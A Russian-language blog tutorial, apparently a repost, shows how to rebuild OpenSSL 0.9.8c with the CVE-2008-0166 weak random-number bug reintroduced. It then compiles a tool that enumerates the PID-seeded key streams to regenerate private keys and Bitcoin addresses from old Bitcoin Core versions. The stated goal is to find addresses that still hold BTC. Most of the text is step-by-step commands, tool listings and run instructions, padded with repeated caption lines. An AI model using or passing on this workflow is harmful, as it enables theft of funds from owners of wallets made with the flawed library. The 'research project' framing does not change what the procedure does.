Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

В этой статье мы создадим инструмент который будет генерировать Биткоин Адреса (P2PKH), используя уязвимость CVE-2008-0166. Это исследовательский проект для поиска монет BTC на более ранних версиях программного клиента Bitcoin Core

Генератор случайных чисел, который генерирует предсказуемые числа CVE-2008-0166

VAIM- OpenSSL 0.9.8/1.0.0 Detected

Критической уязвимость версии OpenSSL 0.9.8 CVE-2008-0166 заполнялась только идентификатором процесса. Из-за различий между порядком байтов и sizeof(long) выходные данные зависят от архитектуры: 32-битный прямой порядок байтов (например, i386), 64-битный прямой порядок байтов (например, amd64, ia64), 32-битный прямой порядок байтов (например, powerpc, sparc). PID 0 — это ядро, а PID_MAX (32768) не достигается при переносе, поэтому для каждой архитектуры было 32767 возможных потоков случайных чисел.

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Программный клиент Bitcoin Core использует библиотеку OpenSSL. В частности, он использует функцию «EC_KEY_generate_key()» для генерации Биткоин Адресов (например, ключа) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat

Новый ключ генерируется только при получении Биткоин платежа. Таким образом, программный клиент Bitcoin Core сохраняет пул из 100 неиспользуемых Биткоин Ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны в библиотеке OpenSSL до вызова 'EC_KEY_generate_key()'. Вызовы, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».

Таким образом, исследование заключалось в том, чтобы просмотреть множество старых источников Биткоина, чтобы выяснить, какие вызовы были сделаны, которые повлияли на внутреннее состояние ГСЧ перед вызовом «EC_KEY_generate_key()». Путь вызова меняется между версиями программного клиента Bitcoin Core

Исследование было сосредоточено на следующих версиях:

| Дата выхода | Версия |
| Дата выхода | Версия |

Наше цель сгенерировать приватные ключи для каждой версии программного клиента Bitcoin Core, для каждой архитектуры (le32/le64), для каждого идентификатора процесса и для Биткоин Адресов (P2PKH), используя случайное число из критической уязвимости OpenSSL 0.9.8.

В конечном итоге мы создадим Генератор Биткоин Адресов (P2PKH) и все будет сохранятся в файл result.txt

Все сохранится в хранилище файлов Google Drive
Все сохранится в хранилище файлов Google Drive

Сделаем OpenSSL снова уязвимым

Воспользуемся для этого дистрибутивом “Ubuntu 18.04.5 LTS” от Google Colab

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Ранее мы записывали видеоинструкцию«TERMINAL в Google Colab создаем все удобства для работ в GITHUB»

Откроем в терминале Google Colab [TerminalGoogleColab]

Запустим команду:

cat /etc/lsb-release
 "Ubuntu 18.04.5 LTS"
“Ubuntu 18.04.5 LTS”

Давайте перейдем в репозиторию «CryptoDeepTools» и разберем всё в детали

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/05VulnerableOpenSSL/

ls -lh
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Обновим и установим g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y
установим g++
установим g++
sudo apt-get install libgmp3-dev libmpfr-dev -y
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
установим пакеты libgmp3-dev libmpfr-dev
установим пакеты libgmp3-dev libmpfr-dev

Для того чтобы OpenSSL снова сделать уязвимым как в CVE-2008-0166
Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы

wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
tar xfz openssl-0.9.8c.tar.gz
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
mv openssl-0.9.8c openssl-0.9.8c-vuln

cd openssl-0.9.8c-vuln
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
ls -lh
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

В системе LE-64 используем:

./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
make depend all
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Перейдем обратно в каталог content/

cd /

ls
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
cd content/CryptoDeepTools/05VulnerableOpenSSL/

ls -lh
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Компиляция:

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto

ls -lh
cryptodeepbtcgen успешно создан!
cryptodeepbtcgen успешно создан!
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Все поддерживаемые версии программного клиента Bitcoin Core:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0   - 0.3.24
#1   - 0.8.6-d
#2   - 0.8.6-qt
#3   - 0.9.1-d
#4   - 0.9.4-d
#5   - unknownA
#6   - unknownB
#7   - unknownC
#8   - unknownD
#9   - unknownE
#10  - unknownF
#11  - unknownG
#12  - unknownH
#13  - unknownI
#14  - unknownJ
#15  - unknownK
#16  - unknownA0
#17  - unknownA1
#18  - unknownA2
#19  - unknownA3
#20  - unknownA4
#21  - unknownB0
#22  - unknownB1
#23  - unknownB2
#24  - unknownB3
#25  - unknownC0
#26  - unknownC1
#27  - unknownC2
#28  - unknownD0
#29  - unknownD1
#30  - unknownD2
#31  - unknownD3
#32  - unknownD4
#33  - unknownD5
#34  - unknownE0
#35  - unknownA0x
#36  - unknownA1x
#37  - unknownA2x
#38  - unknownA3x
#39  - unknownA4x
#40  - unknownB0x
#41  - unknownB1x
#42  - unknownB2x
#43  - unknownB3x
#44  - unknownC0x
#45  - unknownC1x
#46  - unknownC2x
#47  - unknownD0x
#48  - unknownD1x
#49  - unknownD2x
#50  - unknownD3x
#51  - unknownD4x
#52  - unknownD5x
#53  - unknownE0x
crypto >

Запуск cryptodeepbtcgen -n 32 -v 0:

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
Запуск cryptodeepbtcgen
Запуск cryptodeepbtcgen

Все сохранится в хранилище файлов Google Drive как текстовый файл result.txt

Поиск монет BTC на более ранних версиях Bitcoin Core с критической уязвимостью OpenSSL 0.9.8 CVE-2008-0166

Проверяем закрытый ключ!

Проверяем закрытый ключ на сайте bitaddress
Проверяем закрытый ключ на сайте bitaddress

Далее остается проверить все сгенерированные Биткоин Адреса на наличие монет BTC, для этого мы можем воспользоваться Python-скриптомbitcoin-checker.py

Исходный код

Видеоматериал: https://youtu.be/zHkXups2I8k

Источник: https://digitalruble.tech/vulnerable-openssl

Digital Ruble Tech